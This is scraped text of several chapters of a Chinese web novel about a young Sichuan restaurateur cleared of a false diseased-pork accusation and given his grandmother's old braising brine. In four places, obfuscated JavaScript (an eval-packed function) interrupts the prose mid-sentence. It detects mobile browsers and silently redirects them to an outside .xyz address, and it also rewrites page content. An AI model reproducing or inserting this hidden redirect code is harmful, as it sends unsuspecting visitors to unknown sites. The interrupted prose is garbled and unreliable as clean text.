事情自然也就一清二楚。 周砚是举报瘟猪肉贩子的热心群众，现在被王七反咬一口，什么情况不言而喻。 王七拿不出任何实证，空口无凭便咬**周二娃饭店用瘟猪肉，打击报复之心明显。 这是想把刚有起色的周二娃饭店，直接拉到水里淹死啊！ 朱立强这会已经开始后悔了，这么干净卫生的饭店，这么有正义感的年轻老板，竟然差点因为一个**的攀诬，毁掉积累的口碑和商誉！ “原来王七是被周砚举报的！这家伙一直卖瘟猪肉，可把咱们苏稽的群众害惨了。” “王老五也是被这件事带出来的，要不是周砚，咱们现在可能还吃着王老五做的瘟猪肉臊子面呢！” 饭店里的客人们纷纷鼓掌，满是赞赏的看着周砚。 赵嬢嬢松了口气，别过脸去抹了眼角的泪花，笑着道：“我就说嘛，就是王七那个砍脑壳的胡说八道，他的心跟潲水油一样黑。” 后面的事情就简单了。 因为有瘟猪肉举报人这层身份，且王七没有任何实证，在周二娃饭店也没有找到任何和瘟猪肉有关的证据。 且周砚有稳定的猪肉供应刀儿匠章老三，这些东西都是能够查证的。 所以卫生站现场宣布，周二娃饭店不存在使用瘟猪肉的情况，还周砚清白的同时，也等于是给他站了台。 “周砚同志，你的举报保护了人民群众的生命安全，等我回去之后，会为你申请嘉奖。”高天磊和周砚握了手，带着朱立强离开。 副所长夏季和另一位帽子叔叔向周砚做了个简短的询问，签字准备离开。 “周砚，结账。”周卫国走了过来，和周砚说道。 夏季注意到了他空荡荡的左袖，和有些跛的左脚，还有那胸前熠熠生辉的徽章，突然想到了什么，试探着问道：“你是周卫国同志？” “我是。”周卫国点头，摸出六毛钱递给周砚。 “小叔，你就别给了吧，自家人吃碗面还给钱。”周砚笑着道。 “自家人也要给，你要不收，我下回不来了。”周卫国把钱塞他手里，笑着说道：“保卫群众生命安全，做得好。” “应该的。”周砚挺直了腰杆。 “走了。”周卫国转身离开。 “你慢慢走哈。”周砚冲着他的背影说道。 夏季看了周砚两眼，跟着往门口走去。 “夏所，他是？”下属小声问道。 “今天有位镇党委委员上任，兼武装部部长，名字就叫周卫国。”夏季看着那单手扶车把，骑得平稳又快的身影，轻声道：“战时一等功臣，活着的传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200189|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇。” “是他！”下属的眼里也有了敬佩之色。 跟着出门来的两名防疫员听到这话，也是面露钦佩之色。 “那周二娃饭店的老板，是他亲侄儿？”一人小声嘀咕道。 其他三人闻言皆是回头看了一眼饭店招牌，沉默不言。 但他们都知道，从今天开始，这小小个体饭店，也不是谁都能踩一脚了。 …… 工厂八点上班，店里的客人很快都吃完上班去了。 “周砚，真厉害。”赵红一脸佩服的看着周砚，今天这么多当官的围着他，周砚一点不带慌的，自己就把事情给解决了，别人还得谢谢他呢。 “不算什么。”周砚摆摆手。 “你娃儿啥子时候举报了王七的？王老五也是你举报的？怎么都没听你说过呢？”赵嬢嬢追着周砚问。 “我就是那天出门刚好看到，觉得他的肉看着不对劲，刚好碰上了防疫站的副站长，就顺便把他给举报了，王老五也是我举报的。”周砚咧嘴笑：“我这也是为民除害嘛。” 赵嬢嬢点头道：“硬是做得好，做人做事要行得正坐得端，不然二天遭人戳背脊骨！就像王七和王老五，这辈子都要被人骂砍脑壳的。” “赵嬢嬢教训的对，我跟你学的，眼里揉不得沙子，只能当个耿直人。”周砚深以为然的点头。 “对头。”赵嬢嬢有些得意的扬起下巴。 “一会沫沫醒了，你把碗里剩下的面坨坨揪个面片煮给她吃嘛，我出门一趟。”周砚推着自行车往外走。 “你去哪？” “去找奶奶，我还不晓得小叔到底当了啥子官呢。” 周砚头也不回的应道，骑上车就跑了。 …… 镇图书馆。 门口穿着中山装，坐在书桌后的大爷推了一下老花镜，笑着摇头：“你是瓜娃子吗？写个情书你要找《与妻书》？你是要跳青衣江，还是挂东南枝？纸短情长，你年轻人看不懂，也用不着。” “大爷，话不是这么说的……” 大爷接着道： “打招呼不说你好，要说：久违芝宇，时切葭思。” “你要收到她的信，就说：得书之喜，旷若复面。” “落笔不说再见，要说：纸短情长，言尽依依。” 周砚立马在桌边的板凳坐下，从胸口口袋里摸出钢笔，怀里掏出本子：“大师，您接着说。” 这他喵的才是情书老王子好吗！ 求追读，求月票！！！ 2500月票这一更，我记着！存到一号上架后爆发哈。 编辑下了死命令让我存稿子，我之前加更都用啊…… o(╥﹏╥)o 我保证，上架一定会把这更加上。 (本章完) 第73章 卤味大全（残） 周砚离开图书馆的时候，本子上已经写满了三页笔记。 情不情书的不重要，主要是热爱学习，喜欢知识进入脑子的那种感觉。 此外自行车筐里还多了本《三国演义》，大爷明显是三国迷，给他极力推荐，顺便劝他别看水浒。 周砚骑车离开的时候，大爷还在他背后喊了一句：“大丈夫之志，应如长江东奔大海，何苦怀恋于温柔之乡！” 振聋发聩！ 震耳欲聋！ 诶？等等。 大爷若有这等鸿鹄之志，怎么会这么懂写信呢？ 不对劲，大不对劲。 周砚骑着车先转到桥头打了两斤白酒，想了想，又另外打了两斤，转回到图书馆，把酒瓶往桌上一搁，笑着道：“大爷，给你打了点酒。” 大爷拧开瓶盖闻了闻，满意地点点头：“桥头张老头那里打的？你娃娃还是懂得起，下回再教你点真东西。” “要得，大师回见。”周砚笑着说了一声，骑上车往周村走。 这个点正是忙的时候，村里的人要么去卖牛肉，要么下地去了，一路上没见着几个人。 周砚回到老宅，远远的就瞧见周齐蹲在门口柿子树下抱着搪瓷盆喝红苕粥。 看到周砚在门口停车，他还抬头冲着周砚咧嘴笑。 他脸脏兮兮的，但笑起来却格外憨厚质朴，眼神是清澈的。 “慢慢吃。”周砚微笑道，今天这红苕稀饭里还有不少卤牛杂，一看就是老太太的杰作。 他们老周家的人想吃到老太太做的卤味，都得逢年过节，他倒是好口福。 周砚提着酒进门，老太太正在喂鸡，一只大白鹅跟在她身后，昂着脑袋，头顶赤冠鲜红，长颈如银枪般绷直，翅膀微微张，新雪般的翎毛泛着冷光，宛若跟随皇帝巡视的鹅将军。 院墙上趴着一只打盹的狸花猫，两只白手套踹在胸口，晒着秋日的暖阳，睡的正香。 这是老太太年初提了两条鲤鱼，去村尾那家聘回来的狸奴。 这狸花看着体格不大，抓老鼠却是一把好手，还时常抓几只麻雀打牙祭。 老太太上一只猫养了十八年，小周小时候爱往老太太院里跑，就是为了来撸猫。 现在换成了周沫沫，除了有大鹅和猫，还有各种小零食吃。 乡下耗子多，老太太喜欢养鸡鸭鹅，家里孙辈又多，不放耗儿药，所以家里一直都养有猫。 “奶奶。”周砚喊了一声。 老太太回头看着他，笑问道：“这大早上的，你怎么过来了？” 那头大鹅也盯上了他，脑袋前探，翅膀微张，做出攻击姿态。 “过来看你嘛。”周砚随手拎起一旁靠墙的小棍横在身前，做出防御姿态，已然是肌肉记忆。 这是看家鹅，就是养不熟。 只认老太太和周沫沫，对他小叔敬而远之，但对他就不客气了。 这小棍放的那么顺手是有原因的。 养不熟还炖不熟吗？ 周砚强烈建议老太太今年过年把它给炖了，铁锅炖大鹅。 老太太把大鹅赶回围栏，回身看着周砚手里的酒，叹了口气：“上回拿的还没有喝完，又打来做啥子。挣得到钱也要存得起，不然就像抱鸡婆抓糠——空欢喜。” “酒又放不坏，你慢慢喝嘛，两斤酒我还是打得起的。”周砚提着酒进堂屋，放在桌上。 老太太洗了手进来，手里多了个黄橙橙的大柿子，递给周砚，笑眯眯道：“吃嘛，早上才摘下来，树上熟的，抿甜。” 薄薄的柿子皮，裹着熟透的柔软果肉，周砚双手接过，里边像是包了一汪水，颤颤巍巍，手指轻轻一抓就陷进去一个指印。 周砚脑海里闪过一些画面，周沫沫没出生那会，他在孙辈里年纪最小，又爱来老太太这院子里玩，她总会给他拿些零食碎嘴和稀罕东西给他吃，直到他渐渐长大，来的次数渐渐少了。 可每次来，老太太总能变戏法一般拿出吃的，塞到他手里，然后笑眯眯地看着他说：“吃嘛。” “好。”周砚笑着应了一声，从蒂的位置撕开一点，把嘴巴凑上去先吸了一口。 冰凉的甜浆裹着三两颗脆籽，犹如一汪琼浆，在舌尖上化开，甘甜清爽。 吸了几口，撕开薄皮，果肉在掌中微颤，一口咬下去，软嫩的果肉中夹杂着点脆弹，甜而不腻，别有意趣。 一会功夫，一个柿子就被周砚吃了个精光。 树上熟的柿子，确实好吃。 抿甜！甜到心里了。 这辈子第一次当儿子，也是第一次当孙子。 这种被老太太偏宠的感觉，有点特别。 吃完手都被果浆黏住了，周砚去厨房洗了手回来，看着正给他倒水的老太太问道：“奶奶，早上小叔来我店里吃面了，说今天去上班，我都没来得及问，组织上给他安排的什么职位啊？” “昨天通知送到家里，说是什么委员，管苏稽武装部的，他自己挺满意的，说是跟带兵差不多。”老太太把水杯递给他，笑着道：“好久没见他那么高兴了，今天一早就起来了，在院里锻炼了一个小时才出门，干劲满满呢。” 周砚看得出来，老太太也很高兴，心头美着呢。 武装部部长，那应该就是镇党委委员了，副科级，挺好的。 周卫国性格犟，但能力出众，他卧室有个箱子里边装满了各种荣誉证书。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200190|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有一等功臣的身份在，晋升空间肯定不小。 当然，他自己不会在乎罢了。 “奶奶，我昨天找泥瓦匠砌了个新灶，还去买了一口这么大的铝锅，准备明天开始煮卤水，到时候我来接你到店里给我指导行不？”周砚比划着说道。 “要得。”老太太点头，指着厨房方向道：“厨房靠墙角有个坛坛，你想办法抱回去。” “啥子坛坛？”周砚起身往厨房走，墙角摆了个大陶罐，跟家里的酸菜坛一个样，不禁笑道：“我店里有酸菜，不要你的。” “你打开看看。”老太太跟着进了厨房，笑着说道。 周砚上前小心揭开盖在上边的小碗，一股卤香扑鼻而来，借着一点光往坛子里看，哪是什么酸菜，而是一坛子红亮的卤水。 “老卤水？”周砚一脸不可思议地回头。 这不是老太太的心尖宠吗？怎么突然就给他了？ “开店卖给客人的东西，味道一定要做巴适，让人吃一次就记住了。”老太太看着他说道：“新卤水要煮一段时间味道才够，养好了客人也跑了。” “这坛子里装的是我一半的老卤水，你端回去今天晚上再烧开一道，倒回坛坛里，放在阴凉处就莫动了，明天你来接我去店里，我教你煮卤水和养卤水。” “奶奶，我……”周砚感觉鼻子突然有点堵，心间像是有一团火在烧。 老太太的关爱，炙热滚烫。 “我这门手艺，还是要传下去撒。”老太太笑盈盈地看着他，“你妈跟我说过几回，镇上还有人念道我做的卤味。就是你这些嬢嬢、嫂子些，手艺都西撇，传给他们我怕被人在背后骂。” “你娃娃要是认真学，我看能行。” 周砚吸了吸鼻子，郑重点头：“奶奶，我一定好好学，不给你丢人。” “那你喊人来搬嘛，我去隔壁搓麻将，先前就喊我了，我说喂了鸡就去，三缺一急得很。走的时候把门给我锁好，钥匙我揣兜兜里了。”老太太摆摆手，转身就走，像是下定了决心。 “哎，奶奶……”周砚的情绪一下断掉，无奈中又有点好笑。 这，大概就是川渝人的精神状态吧。 他的目光落到那个陶罐上，又变得火热起来。 这可是他梦寐以求的老卤水啊！ 周砚抱起老卤水往堂屋走去，这一坛少说也有二十斤。 【叮！拾取高质量卤水半锅，获得初始老卤水，开启卤味烹饪之旅！】 【检测到另半锅卤水不可获取，任务结束，并按进度结算。】 【获得任务奖励：卤味大全（残）】 最后三天，求追读啊！！！ (本章完) 第74章 周砚，你停车啊！！！ 周砚脚步一顿，眼睛顿时亮了起来。 这游戏，有点东西啊！ 本来他都不指望这任务能完成了，他也不能把老太太的老卤水都抱走啊。 那太孝了。 没想到机智的系统还能跟进进度，对任务进行评估。 “卤味大全（残）是什么意思？”周砚把坛子小心放下，看了眼空荡荡的门口，选择点开奖励。 刹那间，无数讯息涌入他的脑海，并快速涌动。 恍惚间，他又看到了那间小黑屋。 一口大卤锅前，他正在往锅里放各种食材，热气携着浓浓的卤香扑面而来，让他的视线逐渐模糊。 下一瞬，周砚睁开眼，目光已经恢复清明。 而他的脑子里也多了多种卤味的做法，猪货系列全拿捏，卤猪蹄、猪耳朵、猪拱嘴、卤肉、猪肘子、猪尾巴、卤排骨、卤肥肠…… 此外就是卤素菜系列：藕片、土豆、腐竹、豆干、海带、竹笋…… 基本上经典的素菜全都收录其中，藕片、腐竹和笋是他的最爱。 然后周砚也看到了卤味大典缺失的那部分名录：卤鸭货、卤鸡货、卤牛货、高阶卤水煮制方法、高阶卤水养护方法…… 周砚咬牙切齿，这系统太狗了。 他明明已经得到了一半的老卤水，这缺的也太多了吧！ 而且最为关键的《高阶卤水煮制方法》和《高阶卤水养护方法》竟然也是缺的。 要不是他有个靠谱的奶奶，就算掌握了猪货系列和素菜卤制技巧，那也是巧妇难为无米之炊啊。 看着那灰暗的鸡货、鸭货、牛货，周砚属实有点馋。 不过转念一想，他也就释然了。 苏稽镇上没有大规模的鸡鸭屠宰场，无法批量获取新鲜的鸡爪、鸡腿、鸭头那些，只能搞一搞卤鸡、卤鸭。 一只卤鸭动辄三块多，一天能卖个三五只就不错了，不容易卖成爆款。 相比之下，卤猪货的市场显然更大一些，老少咸宜。 卤猪耳朵、卤猪拱嘴是不少人的下酒好菜。 至于卤牛肉，他可以向张淑芬老太太学，这可是她的拿手好戏。 卤味这东西，最讲究的就是卤水，其次是卤制的火候。 卤水现在不用愁，至于卤制的时间和火候的把控，周砚决定哪天去买个表。 经验这种东西，往往不如科学来的可靠。 周砚出门转了一圈，拉了个壮丁回来。 周宏伟，今年十九岁，比他小一辈，还得喊他叫叔，个儿不高，但很精壮，穿件背心，一身腱子肉。 初中辍学就跟他老汉在苏稽码头搬货、挑货，有一把子力气在身上。 “宏伟，你一担能挑多重？”周砚好奇问道。 “三百五十斤轻轻松松，我老汉都不一定能挑的过我了。”周宏伟咧嘴笑，给周砚展示了一下肌肉，一脸自傲：“现在码头上我谁都不怕。” “厉害。”这力量感，周砚是有点佩服的。 周砚其实算强壮的，炒菜也是体力活，但和棒棒还是没法比，他们那个纯力量活，都不能简单用体力活来形容。 “周砚，坛子里装的酸菜吗？”周宏伟抱着坛子坐后座上，一点不费劲，好奇问道。 周砚虽然比他大一辈，但俩人只差一岁，从小穿开裆裤玩大的，也就长辈面前会假模假样的喊一声叔。平时他就算喊，周砚还不好意思应。 “不是酸菜，是老卤水。”周砚小心翼翼的避开路上的坑洼和石子，这年代村道还是泥巴路，到处坑坑洼洼，路况堪忧。 “张祖祖的老卤水你也敢拿！你该不会是偷的吧？”周宏伟闻言脸都白了，“你……你停下来，我不帮你抱了！” 在码头天不怕地不怕的周宏伟，这下真的有点怕了。 张祖祖在周村可是人人尊敬的长辈，她的卤味周村人都知道是一等一的。 过年的时候，处得好的本家和邻居，还会提着牛肉、猪头上门，请张祖祖帮忙卤一锅。 张祖祖也不收钱，最多收一只猪耳朵，或是一块牛腱子当加工费。 他爷爷、他老汉每年过年最稀奇的就是张嬢嬢卤的猪头肉和猪耳朵了，分成好几份，省着吃，爷俩配酒能从初一吃到十五。 张祖祖家有什么事，那都是一句话就到，从没见他们推辞过。 周宏伟都不敢想，要是周砚真的偷了张祖祖的老卤水，他作为帮凶，事情暴露之后，他要挨好狠的毒打！ “周砚，你停车啊！！！”周宏伟喊道，抱着坛子的手都在颤抖。 “莫要惊叫唤，这老卤水是我奶奶给我的，让我搬到店里去用，我疯了吗，敢偷她的老卤水，我妈、老汉就能把我锤死。”周砚笑道：“你抓稳了哈，要是摔了、洒了你就完了。” “儿豁？”周宏伟还是有点不信。 “儿豁！” “好嘛，那我信了，你慢点骑，别把我晃下去。”周宏伟抱紧坛子，相信了周砚的话。 张祖祖太权威了，周砚再浑，也不敢在她面前造次。 “你要开始卖卤味了吗？你学会了没得？”周宏伟转而问道，脸上多了几分期待。 张祖祖做的卤味好吃，但只有过年的时候才能从他老汉和爷爷嘴里抢两片，要是周砚学会了，平时不就能买到了！ “包会的，下个星期你过来尝。”周砚信心满满地笑道。 一路有惊无险的回到饭店。 周宏伟抱着坛子进店放到厨房，甩了甩有些发麻的双手。 “不是说三百五十斤轻轻松松吗？抱个坛子龇牙咧嘴的？”周砚笑道，拿起子开了瓶路上买的天府可乐递给他。 “抱的太紧了，一路上生怕掉了，有点麻。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200191|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”周宏伟接过可乐喝一口，打了个嗝，长舒一口气。 周砚笑着拍了拍他的肩：“辛苦了，中午在店里吃个饭再走。” “不用，吃饭还早，我本来就要去码头搬货，刚好这里过去还近些，走了，下次再来吃。”周宏伟拿着可乐往门口走，顺便和赵铁英和赵红打了招呼。 “我送你过去嘛。”周砚把坛子挪到角落里，跟着出门。 “送锤子，两步路，几下就走到了，你忙你的。”周宏伟扬了扬手，头也不回地走了。 “你喊宏伟跟你搬了一坛啥子回来？”赵嬢嬢正在打高汤的浮沫，回头看着周砚问道。 正在拖地的赵红也是向他看来。 “奶奶的老卤水。”周砚笑着说道。 “啥子？” “你偷的？！” 俩人异口同声道。 作为儿媳妇、孙媳妇，他们可太知道这锅老卤水老太太有多宝贝了。 他们别说用了，碰都不敢碰，老太太是真会发火的。 周砚就这么把它给抱回来了？ “快点抱来给你奶奶送回去！我跟你去！”赵嬢嬢急切道，额头上都冒起汗珠了。 “这半锅老卤水是奶奶自己给我的，喊我先抱回来，明天早上她还会过来帮忙煮卤水。”周砚笑着按住往厨房跑的赵嬢嬢，“她要把这门手艺传给我。” 赵嬢嬢听完有点震惊，想了想，还是不太信：“儿豁？” “儿豁。”周砚笑着点头，松开手道：“我又不是莽子，干得出偷老卤水的事情吗？你不信晚上自己回去问奶奶。” “那就好。”赵嬢嬢松了口气，刚刚他心都提到嗓子眼了，根本不敢想回去怎么跟老太太交代。 虽然老太太从不刁难她们这几个儿媳，但威严摆在那，触碰她底线的事情，她们根本不敢做。 赵红也是笑道：“那说明奶奶相信周砚的厨艺，才会把卤味交给他。” “不摆了，我先去把这老卤水煮开一道，要是这两天放坏了，我才是要被奶奶打死。”周砚转进厨房，拿出那口已经开过锅的大铝锅，琢磨着怎么弄个临时灶台。 中午营业结束，周淼和他拿石头和砖头在河边坝子上弄了个临时灶，架起大铝锅把卤水煮开，然后又小心翼翼抬回饭店，装回到坛子里放凉，上边绷一张纱布防蚊虫，不敢再动它。 “现在就等奶奶来帮忙煮卤水了。”周砚搓了搓手。 他已经忍不住开始期待张记卤味焕发新生，再度扬名嘉州！ 额……算账的时候发现少算了一天，所以把后天请老太太改成了明天请老太太，上一章也已经打了补丁。 见谅见谅。 最后两天，求追读，求月票！ 现在已经欠了两更了！ ヾ(°°) (本章完) 第76章 你奶奶来了（求追读） 周砚把手里的面条下锅，洗手擦干，拿出周沫沫的画作打开，眼睛睁大了几分。 看得出来画是用炭画的，画了个小院子，院里有个扎双马尾的小姑娘，脚下蹲着一只猫，身后还跟着一只大鹅。 角落里印着一个黑乎乎的小手印，应该是周沫沫独特的署名方式。 炭究竟不是笔，画上小姑娘的五官都是模糊的，也谈不上有多好看，但细看有几分意趣在里边，能让人感受到童趣。 周沫沫她才三岁半啊！ 小家伙平时喜欢捡根树枝在沙地里画画，从来没人教过她该怎么画。 没想到，竟然还有这种天赋。 周砚看完觉得太好了，心意满满，小心折好放兜里，赶紧把锅里的面捞出来。 吃过早饭，周砚上楼拿了昨晚写的信，补了一句这是周沫沫给她画的画，然后重新装进信封，用米饭封好封口，走到厂门口，把信投进了邮筒。 铛。 信落进空荡荡的邮筒，发出了一声轻响。 周沫沫不知道什么时候跟了过来，踮着脚尖好奇地问道：“锅锅，瑶瑶姐姐住在桶桶里头吗？你抱我看看嘛。” “看嘛。”周砚笑着把她抱起来，让她往邮筒的长条缝隙里瞧了几眼。 “瑶瑶姐姐开灯，我看不到你。”周沫沫看了一会，小手拢成一个小喇叭，冲着邮筒里喊道。 这一幕把厂门口站岗的保卫科干事都逗笑了。 “这是邮筒，放信的地方。”周砚笑着把她放下，给她解释道：“信放在里边就会有邮递员来把它拿走，然后翻山越岭送到瑶瑶姐姐手里，这样她就能看到你的信了。” “那她住在很远很远的地方吗？”周沫沫似懂非懂。 “嗯，现在很远，三百多公里呢。我们要先到嘉州，然后坐上班车去重庆，摇摇晃晃，估计要一天呢。”周砚笑着点头。 周沫沫听完想了想，抬头看着他：“那我们什么时候出发呢？” “啊？”周砚看着她。 “一天，睡个觉觉就到了呢。”周沫沫拉着他的手晃啊晃，奶声奶气的说：“我想去找瑶瑶姐姐玩嘛，锅锅，你带我去嘛。” “那一时半会可去不了，明天你浩哥哥结婚，你还要当花童的嘛，还有坝坝宴吃，你就不吃了？”周砚看着她说。 周沫沫只思考了一秒：“那还是吃了坝坝宴再去嘛。” “要得，下次有空先带你去嘉州耍一圈，山城还是太远了。”周砚伸手摸了摸她的头，转身往饭店走去。 “好！”周沫沫蹦跳着跟在他身后，“我想吃棒冰。” “那你去跟赵嬢嬢说。” “我……我不想吃了。” …… 工人们陆续来上班了，饭店也是渐渐忙碌起来。 周立辉现在已经是一个非常合格的烧火工，能够把两口面锅的火力控制的很稳定，并且能够帮着调味了。 周砚发现他的手挺稳的，对调料的量也有比较精准的掌控感，看了几天后，慢慢也就能控得好用量了。 调味上的天赋，对于一个厨师来说挺重要的。 有些盐王爷能让客人一天多喝两瓶水。 参与到提水、烧火之外的工作，让周立辉大感振奋。 哪怕只是调个味道，至少也是深度参与了一份面条的烹饪过程嘛。 周砚看着他，眼里带笑，辉辉的身上有少年少有的耐心，这点对于学厨这件枯燥的事情来说，是非常重要的。 毕竟不是谁都像他一样，完美继承了小周同志耗时两年半打好的基础，无痛当厨师。 七点半一到，周立辉就背起书包去上学。 最近在店里帮忙，虽然干的都是体力活，但他的学习热情反而上涨不少。 据赵红所说，早上起来背书，晚上回去练字，可认真了。 这让周砚不知该喜该忧，要是辉辉认真起来，打开学习的任督二脉，成绩突飞猛进，他还真不好让他读完初中来店里当学徒。 这个年代，能读书，当然是读书最有前途。 做菜嘛，啥时候开始学都一样。 如今早上做八十碗面，周砚已经非常得心应手，哪怕订单翻倍估计也能忙得过来，只可惜吃面的工人已经见顶，能维持住八十碗已经不错，他也知足了。 一辆自行车停在饭店门口。 从车上下来个老太太，怀里抱着一个陶罐走进店来，开口道：“周砚，你奶奶来了。” 周卫国停好车，也是跟着进门来，今天没穿中山装，换回了军装，看起来更精神。 “妈？你怎么来了？”赵嬢嬢端着面条出来，看到老太太愣住了。 “奶奶？！”周砚听到声音也是第一时间从厨房出来，看到老太太和后边跟着进门来的小叔，同样愣住。 我的天？ 这母子俩这么野的吗？ 单手瘸腿，敢带着七十五岁老娘，从村里的烂路骑到镇上来啊？ 一个敢骑，一个敢坐啊。 “来，把炒好的糖色抱进去。”老太太招呼道。 周砚连忙快步上前，从老太太手里接过罐子，看着周卫国确认道：“小叔，你带奶奶来的啊？” “嗯。”周卫国点头。 “有啥子嘛，他骑车稳当的很。”老太太也是一脸淡定。 店里客人看了眼两人，也有点吃惊。 反倒是两位当事人觉得这事是合理的。 “奶奶！小叔叔！”周沫沫从高板凳上溜下来，跑过来抱住了老太太的大腿。 “乖乖。”老太太伸手摸了摸她的脑袋，笑盈盈道：“嗯，今天的小辫编的好看，看起好乖哦。” “真的！”周沫沫眼睛一亮，有些得意的摸了摸自己的辫子，“妈妈给我编的。” “铁英的手艺硬是好啊，给你打扮的那么乖。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200193|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老太太笑着道。 “嗯嗯，铁英最厉害了！”周沫沫点着脑袋。 这话把大家都逗笑了，小家伙还真是啥都敢学啊。 一旁的赵嬢嬢听得眉开眼笑，连忙请老太太坐下。 老太太好奇打量起门口新砌的灶，她上回来的时候，还没这灶呢，不过店里客人多，她也没多问，转而看向墙上的菜单，打量了一会，道：“给我来二两牛肉烧笋干面，卫国说你煮的面好吃，我尝看到底有好好吃。” “我要碎花牛肉拌面。”周卫国说道。 “要得，马上给你们去做。”周砚端着罐子转进厨房，拉面、下面、煮面一气呵成。 很快，两碗面就端上了桌。 老太太拿起筷子，先尝了块牛肉，微微点头，吃块笋干，嘴角有了笑意，再尝口面条，眼睛已经亮了起来，最后喝了口汤，才开口道：“这面做的是有水平，苏稽第一好吃。” 站在一旁的赵嬢嬢松了口气，脸上有了笑容。 老太太自己爱做饭，所以平日很少夸别人做的菜好吃，周砚能从她嘴里得到这样的评价，说明这碗面确实煮到她心坎上了。 周砚在厨房里听到这话，得意地笑了。 周卫国吃完上班去了。 老太太慢慢吃，不光是面，连汤都喝得精光。 等她吃完，店里已经没其他客人了，赵红上前收了碗到厨房里。 “那个灶是熬汤锅高汤的？”老太太瞧着周砚问道。 “嗯，不过在我店里喊跷脚牛肉。”周砚点头。 “这么老辈子的叫法，你都晓得啊。”老太太笑了，起身走到锅边，用手轻轻扇着热气，点头道：“嗯，汤味正宗，闻着好鲜。周杰说跟你学做汤锅，现在生意好得很嘛。” 周砚笑着道：“杰哥嘴巴会说，汤锅也煮的好，本来生意在码头上就是最好的，跟我学就是单价能提高点，利润也比之前高点。” “他煮的跟你煮的差远了，我一闻就晓得，你肯教他，是他的福气。”老太太摇头，转身往厨房走去，“走嘛，煮卤水，下午我还要去老二屋头看看。” “要得！”周砚狗腿地快步跟上。 老太太先看了周砚准备的铝锅，点头道：“这锅巴适，煮久了卤水也不容易发黑，他们有些不懂的用铁锅煮，卤水几次就黑了，卤出来的肉黢黑，看起就不好吃。” “来嘛，把卤水倒锅里去。” 周砚立马过去，揭开盖子上的纱布，小心端起卤水倒入铝锅。 卤水的颜色是红亮红亮的，这是用糖色调的颜色，自然又好看。 一倒出来，卤香四溢，满屋飘香。 周砚喜欢吃卤味，卤鸭货爱好者，也吃兔头，最爱的还是那口油润的卤肥肠。 但那些自称百年老卤的店，卤水确实远不如老太太的这锅老卤来的醇香，是没有高科技添加的自然风味。 (本章完) 第77章 【一锅接近完美的卤水】 铝锅太大，这一坛子二十多斤老卤水倒进去，也就小半桶。 “就拿这个坛坛装井水，两坛子倒锅里。”老太太吩咐道。 周砚也不问，直接灌了两坛子水，一并倒入锅里。 这下锅里的卤水差不多能有半桶。 不过随着两坛水的加入，原本颜色红亮的老卤水颜色被稀释许多。 “这一次有二十多斤老卤水打底，所以就不用加鸭架、骨头那些来煮卤水，老卤水里面已经有足够的底味，我们就按照平时养护卤水的方法来做。”老太太给周砚说道：“平时我们卤肉，卤的过程中卤水会变少，所以我们就要补水，以后就按照这个标准来，少了多少水，你就补多少水，每次补够，用清水就可以了。” 周砚已经拿出了小本子，在纸上刷刷记录，顺便提问：“那这汤被稀释，颜色变淡了，怎么办呢？” “你把火先烧起，再来补色。” 周砚立马把隔壁灶膛里的炭火转过来，加一把稻草，蒲扇扇两下，火苗立马窜了起来，再塞了两根青冈木进去。 “一根就够，卤肉不能大火滚开，那样水分会快速流失，对卤水的损耗太大，卤水也容易发黑。”老太太看了一眼道。 周砚立马撤回一根青冈木，顺便在本子上记了一笔。 “把你刚刚抱进来的罐子拿过来。” 周砚转身抱过罐子，打开盖子里边是红亮的粘稠糖浆，闻着都有股甜味。 “这是用冰糖炒的糖色，这次我给你提前炒好了，下次再单独教你怎么炒。卤味调色必须用糖色，不能加酱油，不然卤水的颜色会越卤越黑，用几回就得倒了。” 老太太拿勺子在锅里轻轻一荡，卤油向着四周分开，露出了淡红棕的卤水，“你拿勺子往里加糖色，一直加到跟你昨天抱回来的卤水颜色一样为止，那这色就补好了。” 周砚点头，开始一勺一勺往锅里加糖色。 随着水温上升，和勺子的慢慢搅动，卤水原本清淡的颜色开始变得红亮起来，越发接近原来老卤水的颜色。 